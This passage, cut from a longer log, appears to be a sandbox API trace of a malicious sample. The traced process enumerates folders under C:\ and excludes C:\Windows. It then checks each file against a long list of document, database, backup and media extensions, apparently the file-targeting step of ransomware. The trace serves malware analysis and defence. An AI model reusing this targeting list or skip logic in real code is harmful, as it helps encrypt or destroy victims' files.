(lpString=".crt") returned 4 [0033.684] lstrcmpiW (lpString1=".crt", lpString2=".ini") returned -1 [0033.684] lstrlenW (lpString=".crw") returned 4 [0033.684] lstrcmpiW (lpString1=".crw", lpString2=".ini") returned -1 [0033.684] lstrlenW (lpString=".cs") returned 3 [0033.684] lstrcmpiW (lpString1=".cs", lpString2="ini") returned -1 [0033.684] lstrlenW (lpString=".css") returned 4 [0033.684] lstrcmpiW (lpString1=".css", lpString2=".ini") returned -1 [0033.684] lstrlenW (lpString=".csv") returned 4 [0033.684] lstrcmpiW (lpString1=".csv", lpString2=".ini") returned -1 [0033.684] lstrlenW (lpString=".cub") returned 4 [0033.684] lstrcmpiW (lpString1=".cub", lpString2=".ini") returned -1 [0033.684] lstrlenW (lpString=".dae") returned 4 [0033.684] lstrcmpiW (lpString1=".dae", lpString2=".ini") returned -1 [0033.684] lstrlenW (lpString=".dat") returned 4 [0033.684] lstrcmpiW (lpString1=".dat", lpString2=".ini") returned -1 [0033.684] lstrlenW (lpString=".db") returned 3 [0033.684] lstrcmpiW (lpString1=".db", lpString2="ini") returned -1 [0033.684] lstrlenW (lpString=".dbf") returned 4 [0033.684] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0033.684] lstrlenW (lpString=".dbx") returned 4 [0033.684] lstrcmpiW (lpString1=".dbx", lpString2=".ini") returned -1 [0033.684] lstrlenW (lpString=".dc3") returned 4 [0033.684] lstrcmpiW (lpString1=".dc3", lpString2=".ini") returned -1 [0033.684] lstrlenW (lpString=".dcm") returned 4 [0033.684] lstrcmpiW (lpString1=".dcm", lpString2=".ini") returned -1 [0033.684] lstrlenW (lpString=".dcr") returned 4 [0033.684] lstrcmpiW (lpString1=".dcr", lpString2=".ini") returned -1 [0033.684] lstrlenW (lpString=".der") returned 4 [0033.684] lstrcmpiW (lpString1=".der", lpString2=".ini") returned -1 [0033.684] lstrlenW (lpString=".dib") returned 4 [0033.684] lstrcmpiW (lpString1=".dib", lpString2=".ini") returned -1 [0033.684] lstrlenW (lpString=".dic") returned 4 [0033.684] lstrcmpiW (lpString1=".dic", lpString2=".ini") returned -1 [0033.684] lstrlenW (lpString=".dif") returned 4 [0033.684] lstrcmpiW (lpString1=".dif", lpString2=".ini") returned -1 [0033.685] lstrlenW (lpString=".divx") returned 5 [0033.685] lstrcmpiW (lpString1=".divx", lpString2="p.ini") returned -1 [0033.685] lstrlenW (lpString=".djvu") returned 5 [0033.685] lstrcmpiW (lpString1=".djvu", lpString2="p.ini") returned -1 [0033.685] lstrlenW (lpString=".dng") returned 4 [0033.685] lstrcmpiW (lpString1=".dng", lpString2=".ini") returned -1 [0033.685] lstrlenW (lpString=".doc") returned 4 [0033.685] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0033.685] lstrlenW (lpString=".docm") returned 5 [0033.685] lstrcmpiW (lpString1=".docm", lpString2="p.ini") returned -1 [0033.685] lstrlenW (lpString=".docx") returned 5 [0033.685] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0033.685] lstrlenW (lpString=".dot") returned 4 [0033.685] lstrcmpiW (lpString1=".dot", lpString2=".ini") returned -1 [0033.685] lstrlenW (lpString=".dotm") returned 5 [0033.685] lstrcmpiW (lpString1=".dotm", lpString2="p.ini") returned -1 [0033.685] lstrlenW (lpString=".dotx") returned 5 [0033.685] lstrcmpiW (lpString1=".dotx", lpString2="p.ini") returned -1 [0033.685] lstrlenW (lpString=".dpx") returned 4 [0033.685] lstrcmpiW (lpString1=".dpx", lpString2=".ini") returned -1 [0033.685] lstrlenW (lpString=".dqy") returned 4 [0033.685] lstrcmpiW (lpString1=".dqy", lpString2=".ini") returned -1 [0033.685] lstrlenW (lpString=".dsn") returned 4 [0033.685] lstrcmpiW (lpString1=".dsn", lpString2=".ini") returned -1 [0033.685] lstrlenW (lpString=".dt") returned 3 [0033.685] lstrcmpiW (lpString1=".dt", lpString2="ini") returned -1 [0033.685] lstrlenW (lpString=".dtd") returned 4 [0033.685] lstrcmpiW (lpString1=".dtd", lpString2=".ini") returned -1 [0033.685] lstrlenW (lpString=".dwg") returned 4 [0033.685] lstrcmpiW (lpString1=".dwg", lpString2=".ini") returned -1 [0033.685] lstrlenW (lpString=".dwt") returned 4 [0033.685] lstrcmpiW (lpString1=".dwt", lpString2=".ini") returned -1 [0033.685] lstrlenW (lpString=".dx") returned 3 [0033.685] lstrcmpiW (lpString1=".dx", lpString2="ini") returned -1 [0033.686] lstrlenW (lpString=".dxf") returned 4 [0033.686] lstrcmpiW (lpString1=".dxf", lpString2=".ini") returned -1 [0033.686] lstrlenW (lpString=".edml") returned 5 [0033.686] lstrcmpiW (lpString1=".edml", lpString2="p.ini") returned -1 [0033.686] lstrlenW (lpString=".efd") returned 4 [0033.686] lstrcmpiW (lpString1=".efd", lpString2=".ini") returned -1 [0033.686] lstrlenW (lpString=".elf") returned 4 [0033.686] lstrcmpiW (lpString1=".elf", lpString2=".ini") returned -1 [0033.686] lstrlenW (lpString=".emf") returned 4 [0033.686] lstrcmpiW (lpString1=".emf", lpString2=".ini") returned -1 [0033.686] lstrlenW (lpString=".emz") returned 4 [0033.686] lstrcmpiW (lpString1=".emz", lpString2=".ini") returned -1 [0033.686] lstrlenW (lpString=".epf") returned 4 [0033.686] lstrcmpiW (lpString1=".epf", lpString2=".ini") returned -1 [0033.686] lstrlenW (lpString=".eps") returned 4 [0033.686] lstrcmpiW (lpString1=".eps", lpString2=".ini") returned -1 [0033.686] lstrlenW (lpString=".epsf") returned 5 [0033.686] lstrcmpiW (lpString1=".epsf", lpString2="p.ini") returned -1 [0033.686] lstrlenW (lpString=".epsp") returned 5 [0033.686] lstrcmpiW (lpString1=".epsp", lpString2="p.ini") returned -1 [0033.686] lstrlenW (lpString=".erf") returned 4 [0033.686] lstrcmpiW (lpString1=".erf", lpString2=".ini") returned -1 [0033.686] lstrlenW (lpString=".exr") returned 4 [0033.686] lstrcmpiW (lpString1=".exr", lpString2=".ini") returned -1 [0033.686] lstrlenW (lpString=".f4v") returned 4 [0033.686] lstrcmpiW (lpString1=".f4v", lpString2=".ini") returned -1 [0033.686] lstrlenW (lpString=".fido") returned 5 [0033.686] lstrcmpiW (lpString1=".fido", lpString2="p.ini") returned -1 [0033.686] lstrlenW (lpString=".flm") returned 4 [0033.686] lstrcmpiW (lpString1=".flm", lpString2=".ini") returned -1 [0033.686] lstrlenW (lpString=".flv") returned 4 [0033.686] lstrcmpiW (lpString1=".flv", lpString2=".ini") returned -1 [0033.686] lstrlenW (lpString=".frm") returned 4 [0033.686] lstrcmpiW (lpString1=".frm", lpString2=".ini") returned -1 [0033.687] lstrlenW (lpString=".fxg") returned 4 [0033.687] lstrcmpiW (lpString1=".fxg", lpString2=".ini") returned -1 [0033.687] lstrlenW (lpString=".geo") returned 4 [0033.687] lstrcmpiW (lpString1=".geo", lpString2=".ini") returned -1 [0033.687] lstrlenW (lpString=".gif") returned 4 [0033.687] lstrcmpiW (lpString1=".gif", lpString2=".ini") returned -1 [0033.687] lstrlenW (lpString=".grs") returned 4 [0033.687] lstrcmpiW (lpString1=".grs", lpString2=".ini") returned -1 [0033.687] lstrlenW (lpString=".gz") returned 3 [0033.687] lstrcmpiW (lpString1=".gz", lpString2="ini") returned -1 [0033.687] lstrlenW (lpString=".h") returned 2 [0033.687] lstrcmpiW (lpString1=".h", lpString2="ni") returned -1 [0033.687] lstrlenW (lpString=".hdr") returned 4 [0033.687] lstrcmpiW (lpString1=".hdr", lpString2=".ini") returned -1 [0033.687] lstrlenW (lpString=".hpp") returned 4 [0033.687] lstrcmpiW (lpString1=".hpp", lpString2=".ini") returned -1 [0033.687] lstrlenW (lpString=".hta") returned 4 [0033.687] lstrcmpiW (lpString1=".hta", lpString2=".ini") returned -1 [0033.687] lstrlenW (lpString=".htc") returned 4 [0033.687] lstrcmpiW (lpString1=".htc", lpString2=".ini") returned -1 [0033.687] lstrlenW (lpString=".htm") returned 4 [0033.687] lstrcmpiW (lpString1=".htm", lpString2=".ini") returned -1 [0033.687] lstrlenW (lpString=".html") returned 5 [0033.687] lstrcmpiW (lpString1=".html", lpString2="p.ini") returned -1 [0033.687] lstrlenW (lpString=".icb") returned 4 [0033.687] lstrcmpiW (lpString1=".icb", lpString2=".ini") returned -1 [0033.687] lstrlenW (lpString=".ics") returned 4 [0033.687] lstrcmpiW (lpString1=".ics", lpString2=".ini") returned -1 [0033.687] lstrlenW (lpString=".iff") returned 4 [0033.687] lstrcmpiW (lpString1=".iff", lpString2=".ini") returned -1 [0033.687] lstrlenW (lpString=".inc") returned 4 [0033.687] lstrcmpiW (lpString1=".inc", lpString2=".ini") returned -1 [0033.687] lstrlenW (lpString=".indd") returned 5 [0033.687] lstrcmpiW (lpString1=".indd", lpString2="p.ini") returned -1 [0033.688] lstrlenW (lpString=".ini") returned 4 [0033.688] lstrcmpiW (lpString1=".ini", lpString2=".ini") returned 0 [0033.688] FindNextFileW (in: hFindFile=0x6e1ef0, lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0033.688] FindClose (in: hFindFile=0x6e1ef0 | out: hFindFile=0x6e1ef0) returned 1 [0033.688] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x38f06d0 | out: hHeap=0x5f0000) returned 1 [0033.688] FindNextFileW (in: hFindFile=0x6e0ea8, lpFindFileData=0x33cfa84 | out: lpFindFileData=0x33cfa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 0 [0033.688] FindClose (in: hFindFile=0x6e0ea8 | out: hFindFile=0x6e0ea8) returned 1 [0033.688] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x38e06c8 | out: hHeap=0x5f0000) returned 1 [0033.688] FindNextFileW (in: hFindFile=0x641030, lpFindFileData=0x33cfd00 | out: lpFindFileData=0x33cfd00*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1002f, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0033.688] lstrlenW (lpString="C:\\Boot") returned 7 [0033.688] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Boot") returned 1 [0033.688] lstrlenW (lpString="Boot") returned 4 [0033.688] lstrcmpiW (lpString1="C:\\Windows", lpString2="Boot") returned 1 [0033.688] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xfffe) returned 0x38e06c8 [0033.688] lstrlenW (lpString="C:\\Boot") returned 7 [0033.688] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x33cfa84 | out: lpFindFileData=0x33cfa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6e1eb0 [0033.688] FindNextFileW (in: hFindFile=0x6e1eb0, lpFindFileData=0x33cfa84 | out: lpFindFileData=0x33cfa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.688] FindNextFileW (in: hFindFile=0x6e1eb0, lpFindFileData=0x33cfa84 | out: lpFindFileData=0x33cfa84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x2ebf9340, ftLastAccessTime.dwHighDateTime=0x1d4d597, ftLastWriteTime.dwLowDateTime=0x2ebf9340, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1 [0033.688] lstrlenW (lpString="BCD") returned 3 [0033.688] lstrlenW (lpString=".1cd") returned 4 [0033.688] lstrcmpiW (lpString1=".1cd", lpString2="") returned 1 [0033.689] lstrlenW (lpString=".3ds") returned 4 [0033.689] lstrcmpiW (lpString1=".3ds", lpString2="") returned 1 [0033.689] lstrlenW (lpString=".3fr") returned 4 [0033.689] lstrcmpiW (lpString1=".3fr", lpString2="") returned 1 [0033.689] lstrlenW (lpString=".3g2") returned 4 [0033.689] lstrcmpiW (lpString1=".3g2", lpString2="") returned 1 [0033.689] lstrlenW (lpString=".3gp") returned 4 [0033.689] lstrcmpiW (lpString1=".3gp", lpString2="") returned 1 [0033.689] lstrlenW (lpString=".7z") returned 3 [0033.689] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0033.689] lstrlenW (lpString=".accda") returned 6 [0033.689] lstrcmpiW (lpString1=".accda", lpString2="") returned 1 [0033.689] lstrlenW (lpString=".accdb") returned 6 [0033.689] lstrcmpiW (lpString1=".accdb", lpString2="") returned 1 [0033.689] lstrlenW (lpString=".accdc") returned 6 [0033.689] lstrcmpiW (lpString1=".accdc", lpString2="") returned 1 [0033.689] lstrlenW (lpString=".accde") returned 6 [0033.689] lstrcmpiW (lpString1=".accde", lpString2="") returned 1 [0033.689] lstrlenW (lpString=".accdt") returned 6 [0033.689] lstrcmpiW (lpString1=".accdt", lpString2="") returned 1 [0033.689] lstrlenW (lpString=".accdw") returned 6 [0033.689] lstrcmpiW (lpString1=".accdw", lpString2="") returned 1 [0033.689] lstrlenW (lpString=".adb") returned 4 [0033.689] lstrcmpiW (lpString1=".adb", lpString2="") returned 1 [0033.689] lstrlenW (lpString=".adp") returned 4 [0033.689] lstrcmpiW (lpString1=".adp", lpString2="") returned 1 [0033.689] lstrlenW (lpString=".ai") returned 3 [0033.690] lstrcmpiW (lpString1=".ai", lpString2="BCD") returned -1 [0033.690] lstrlenW (lpString=".ai3") returned 4 [0033.690] lstrcmpiW (lpString1=".ai3", lpString2="") returned 1 [0033.690] lstrlenW (lpString=".ai4") returned 4 [0033.690] lstrcmpiW (lpString1=".ai4", lpString2="") returned 1 [0033.690] lstrlenW (lpString=".ai5") returned 4 [0033.690] lstrcmpiW (lpString1=".ai5", lpString2="") returned 1 [0033.690] lstrlenW (lpString=".ai6") returned 4 [0033.690] lstrcmpiW (lpString1=".ai6", lpString2="") returned 1 [0033.690] lstrlenW (lpString=".ai7") returned 4 [0033.690] lstrcmpiW (lpString1=".ai7", lpString2="") returned 1 [0033.690] lstrlenW (lpString=".ai8") returned 4 [0033.690] lstrcmpiW (lpString1=".ai8", lpString2="") returned 1 [0033.690] lstrlenW (lpString=".anim") returned 5 [0033.690] lstrcmpiW (lpString1=".anim", lpString2="") returned 1 [0033.690] lstrlenW (lpString=".arw") returned 4 [0033.690] lstrcmpiW (lpString1=".arw", lpString2="") returned 1 [0033.690] lstrlenW (lpString=".as") returned 3 [0033.690] lstrcmpiW (lpString1=".as", lpString2="BCD") returned -1 [0033.690] lstrlenW (lpString=".asa") returned 4 [0033.690] lstrcmpiW (lpString1=".asa", lpString2="") returned 1 [0033.690] lstrlenW (lpString=".asc") returned 4 [0033.690] lstrcmpiW (lpString1=".asc", lpString2="") returned 1 [0033.690] lstrlenW (lpString=".ascx") returned 5 [0033.690] lstrcmpiW (lpString1=".ascx", lpString2="") returned 1 [0033.690] lstrlenW (lpString=".asm") returned 4 [0033.690] lstrcmpiW (lpString1=".asm", lpString2="") returned 1 [0033.690] lstrlenW (lpString=".asmx") returned 5 [0033.690] lstrcmpiW (lpString1=".asmx", lpString2="") returned 1 [0033.690] lstrlenW (lpString=".asp") returned 4 [0033.690] lstrcmpiW (lpString1=".asp", lpString2="") returned 1 [0033.690] lstrlenW (lpString=".aspx") returned 5 [0033.690] lstrcmpiW (lpString1=".aspx", lpString2="") returned 1 [0033.690] lstrlenW (lpString=".asr") returned 4 [0033.690] lstrcmpiW (lpString1=".asr", lpString2="") returned 1 [0033.690] lstrlenW (lpString=".asx") returned 4 [0033.690] lstrcmpiW (lpString1=".asx", lpString2="") returned 1 [0033.690] lstrlenW (lpString=".avi") returned 4 [0033.690] lstrcmpiW (lpString1=".avi", lpString2="") returned 1 [0033.691] lstrlenW (lpString=".avs") returned 4 [0033.691] lstrcmpiW (lpString1=".avs", lpString2="") returned 1 [0033.691] lstrlenW (lpString=".backup") returned 7 [0033.691] lstrcmpiW (lpString1=".backup", lpString2="") returned 1 [0033.691] lstrlenW (lpString=".bak") returned 4 [0033.691] lstrcmpiW (lpString1=".bak", lpString2="") returned 1 [0033.691] lstrlenW (lpString=".bay") returned 4 [0033.691] lstrcmpiW (lpString1=".bay", lpString2="") returned 1 [0033.691] lstrlenW (lpString=".bd") returned 3 [0033.691] lstrcmpiW (lpString1=".bd", lpString2="BCD") returned -1 [0033.691] lstrlenW (lpString=".bin") returned 4 [0033.691] lstrcmpiW (lpString1=".bin", lpString2="") returned 1 [0033.691] lstrlenW (lpString=".bmp") returned 4 [0033.691] lstrcmpiW (lpString1=".bmp", lpString2="") returned 1 [0033.691] lstrlenW (lpString=".bz2") returned 4 [0033.691] lstrcmpiW (lpString1=".bz2", lpString2="") returned 1 [0033.691] lstrlenW (lpString=".c") returned 2 [0033.691] lstrcmpiW (lpString1=".c", lpString2="CD") returned -1 [0033.691] lstrlenW (lpString=".cdr") returned 4 [0033.691] lstrcmpiW (lpString1=".cdr", lpString2="") returned 1 [0033.691] lstrlenW (lpString=".cer") returned 4 [0033.691] lstrcmpiW (lpString1=".cer", lpString2="") returned 1 [0033.691] lstrlenW (lpString=".cf") returned 3 [0033.691] lstrcmpiW (lpString1=".cf", lpString2="BCD") returned -1 [0033.691] lstrlenW (lpString=".cfc") returned 4 [0033.691] lstrcmpiW (lpString1=".cfc", lpString2="") returned 1 [0033.691] lstrlenW (lpString=".cfm") returned 4 [0033.691] lstrcmpiW (lpString1=".cfm", lpString2="") returned 1 [0033.691] lstrlenW (lpString=".cfml") returned 5 [0033.691] lstrcmpiW (lpString1=".cfml", lpString2="") returned 1 [0033.691] lstrlenW (lpString=".cfu") returned 4 [0033.691] lstrcmpiW (lpString1=".cfu", lpString2="") returned 1 [0033.691] lstrlenW (lpString=".chm") returned 4 [0033.691] lstrcmpiW (lpString1=".chm", lpString2="") returned 1 [0033.691] lstrlenW (lpString=".cin") returned 4 [0033.691] lstrcmpiW (lpString1=".cin", lpString2="") returned 1 [0033.691] lstrlenW (lpString=".class") returned 6 [0033.691] lstrcmpiW (lpString1=".class", lpString2="") returned 1 [0033.691] lstrlenW (lpString=".clx") returned 4 [0033.692] lstrcmpiW (lpString1=".clx", lpString2="") returned 1 [0033.692] lstrlenW (lpString=".config") returned 7 [0033.692] lstrcmpiW (lpString1=".config", lpString2="") returned 1 [0033.692] lstrlenW (lpString=".cpp") returned 4 [0033.692] lstrcmpiW (lpString1=".cpp", lpString2="") returned 1 [0033.692] lstrlenW (lpString=".cr2") returned 4 [0033.692] lstrcmpiW (lpString1=".cr2", lpString2="") returned 1 [0033.692] lstrlenW (lpString=".crt") returned 4 [0033.692] lstrcmpiW (lpString1=".crt", lpString2="") returned 1 [0033.692] lstrlenW (lpString=".crw") returned 4 [0033.692] lstrcmpiW (lpString1=".crw", lpString2="") returned 1 [0033.692] lstrlenW (lpString=".cs") returned 3 [0033.692] lstrcmpiW (lpString1=".cs", lpString2="BCD") returned -1 [0033.692] lstrlenW (lpString=".css") returned 4 [0033.692] lstrcmpiW (lpString1=".css", lpString2="") returned 1 [0033.692] lstrlenW (lpString=".csv") returned 4 [0033.692] lstrcmpiW (lpString1=".csv", lpString2="") returned 1 [0033.692] lstrlenW (lpString=".cub") returned 4 [0033.692] lstrcmpiW (lpString1=".cub", lpString2="") returned 1 [0033.692] lstrlenW (lpString=".dae") returned 4 [0033.692] lstrcmpiW (lpString1=".dae", lpString2="") returned 1 [0033.692] lstrlenW (lpString=".dat") returned 4 [0033.692] lstrcmpiW (lpString1=".dat", lpString2="") returned 1 [0033.692] lstrlenW (lpString=".db") returned 3 [0033.692] lstrcmpiW (lpString1=".db", lpString2="BCD") returned -1 [0033.692] lstrlenW (lpString=".dbf") returned 4 [0033.692] lstrcmpiW (lpString1=".dbf", lpString2="") returned 1 [0033.692] lstrlenW (lpString=".dbx") returned 4 [0033.692] lstrcmpiW (lpString1=".dbx", lpString2="") returned 1 [0033.692] lstrlenW (lpString=".dc3") returned 4 [0033.692] lstrcmpiW (lpString1=".dc3", lpString2="") returned 1 [0033.692] lstrlenW (lpString=".dcm") returned 4 [0033.692] lstrcmpiW (lpString1=".dcm", lpString2="") returned 1 [0033.692] lstrlenW (lpString=".dcr") returned 4 [0033.692] lstrcmpiW (lpString1=".dcr", lpString2="") returned 1 [0033.692] lstrlenW (lpString=".der") returned 4 [0033.692] lstrcmpiW (lpString1=".der", lpString2="") returned 1 [0033.692] lstrlenW (lpString=".dib") returned 4 [0033.692] lstrcmpiW (lpString1=".dib", lpString2="") returned 1 [0033.692] lstrlenW (lpString=".dic") returned 4 [0033.693] lstrcmpiW (lpString1=".dic", lpString2="") returned 1 [0033.693] lstrlenW (lpString=".dif") returned 4 [0033.693] lstrcmpiW (lpString1=".dif", lpString2="") returned 1 [0033.693] lstrlenW (lpString=".divx") returned 5 [0033.693] lstrcmpiW (lpString1=".divx", lpString2="") returned 1 [0033.693] lstrlenW (lpString=".djvu") returned 5 [0033.693] lstrcmpiW (lpString1=".djvu", lpString2="") returned 1 [0033.693] lstrlenW (lpString=".dng") returned 4 [0033.693] lstrcmpiW (lpString1=".dng", lpString2="") returned 1 [0033.693] lstrlenW (lpString=".doc") returned 4 [0033.693] lstrcmpiW (lpString1=".doc", lpString2="") returned 1 [0033.693] lstrlenW (lpString=".docm") returned 5 [0033.693] lstrcmpiW (lpString1=".docm", lpString2="") returned 1 [0033.693] lstrlenW (lpString=".docx") returned 5 [0033.693] lstrcmpiW (lpString1=".docx", lpString2="") returned 1 [0033.693] lstrlenW (lpString=".dot") returned 4 [0033.693] lstrcmpiW (lpString1=".dot", lpString2="") returned 1 [0033.693] lstrlenW (lpString=".dotm") returned 5 [0033.693] lstrcmpiW (lpString1=".dotm", lpString2="") returned 1 [0033.693] lstrlenW (lpString=".dotx") returned 5 [0033.693] lstrcmpiW (lpString1=".dotx", lpString2="") returned 1 [0033.693] lstrlenW (lpString=".dpx") returned 4 [0033.693] lstrcmpiW (lpString1=".dpx", lpString2="") returned 1 [0033.693] lstrlenW (lpString=".dqy") returned 4 [0033.693] lstrcmpiW (lpString1=".dqy", lpString2="") returned 1 [0033.693] lstrlenW (lpString=".dsn") returned 4 [0033.693] lstrcmpiW (lpString1=".dsn", lpString2="") returned 1 [0033.693] lstrlenW (lpString=".dt") returned 3 [0033.693] lstrcmpiW (lpString1=".dt", lpString2="BCD") returned -1 [0033.693] lstrlenW (lpString=".dtd") returned 4 [0033.693] lstrcmpiW (lpString1=".dtd", lpString2="") returned 1 [0033.693] lstrlenW (lpString=".dwg") returned 4 [0033.693] lstrcmpiW (lpString1=".dwg", lpString2="") returned 1 [0033.693] lstrlenW (lpString=".dwt") returned 4 [0033.693] lstrcmpiW (lpString1=".dwt", lpString2="") returned 1 [0033.693] lstrlenW (lpString=".dx") returned 3 [0033.693] lstrcmpiW (lpString1=".dx", lpString2="BCD") returned -1 [0033.693] lstrlenW (lpString=".dxf") returned 4 [0033.693] lstrcmpiW (lpString1=".dxf", lpString2="") returned 1 [0033.694] lstrlenW (lpString=".edml") returned 5 [0033.694] lstrcmpiW (lpString1=".edml", lpString2="") returned 1 [0033.694] lstrlenW (lpString=".efd") returned 4 [0033.694] lstrcmpiW (lpString1=".efd", lpString2="") returned 1 [0033.694] lstrlenW (lpString=".elf") returned 4 [0033.694] lstrcmpiW (lpString1=".elf", lpString2="") returned 1 [0033.694] lstrlenW (lpString=".emf") returned 4 [0033.694] lstrcmpiW (lpString1=".emf", lpString2="") returned 1 [0033.694] lstrlenW (lpString=".emz") returned 4 [0033.694] lstrcmpiW (lpString1=".emz", lpString2="") returned 1 [0033.694] lstrlenW (lpString=".epf") returned 4 [0033.694] lstrcmpiW (lpString1=".epf", lpString2="") returned 1 [0033.694] lstrlenW (lpString=".eps") returned 4 [0033.694] lstrcmpiW (lpString1=".eps", lpString2="") returned 1 [0033.694] lstrlenW (lpString=".epsf") returned 5 [0033.694] lstrcmpiW (lpString1=".epsf", lpString2="") returned 1 [0033.694] lstrlenW (lpString=".epsp") returned 5 [0033.694] lstrcmpiW (lpString1=".epsp", lpString2="") returned 1 [0033.694] lstrlenW (lpString=".erf") returned 4 [0033.694] lstrcmpiW (lpString1=".erf", lpString2="") returned 1 [0033.694] lstrlenW (lpString=".exr") returned 4 [0033.694] lstrcmpiW (lpString1=".exr", lpString2="") returned 1 [0033.694] lstrlenW (lpString=".f4v") returned 4 [0033.694] lstrcmpiW (lpString1=".f4v", lpString2="") returned 1 [0033.694] lstrlenW (lpString=".fido") returned 5 [0033.694] lstrcmpiW (lpString1=".fido", lpString2="") returned 1 [0033.694] lstrlenW (lpString=".flm") returned 4 [0033.694] lstrcmpiW (lpString1=".flm", lpString2="") returned 1 [0033.694] lstrlenW (lpString=".flv") returned 4 [0033.694] lstrcmpiW (lpString1=".flv", lpString2="") returned 1 [0033.694] lstrlenW (lpString=".frm") returned 4 [0033.694] lstrcmpiW (lpString1=".frm", lpString2="") returned 1 [0033.694] lstrlenW (lpString=".fxg") returned 4 [0033.694] lstrcmpiW (lpString1=".fxg", lpString2="") returned 1 [0033.694] FindNextFileW (in: hFindFile=0x6e1eb0, lpFindFileData=0x33cfa84 | out: lpFindFileData=0x33cfa84*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac2e8a60, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x469b3b00, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x5400, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0033.695] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xfffe) returned 0x38f06d0 [0033.695] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*", lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6e2ef8 [0033.732] FindNextFileW (in: hFindFile=0x6e2ef8, lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.732] FindNextFileW (in: hFindFile=0x6e2ef8, lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, 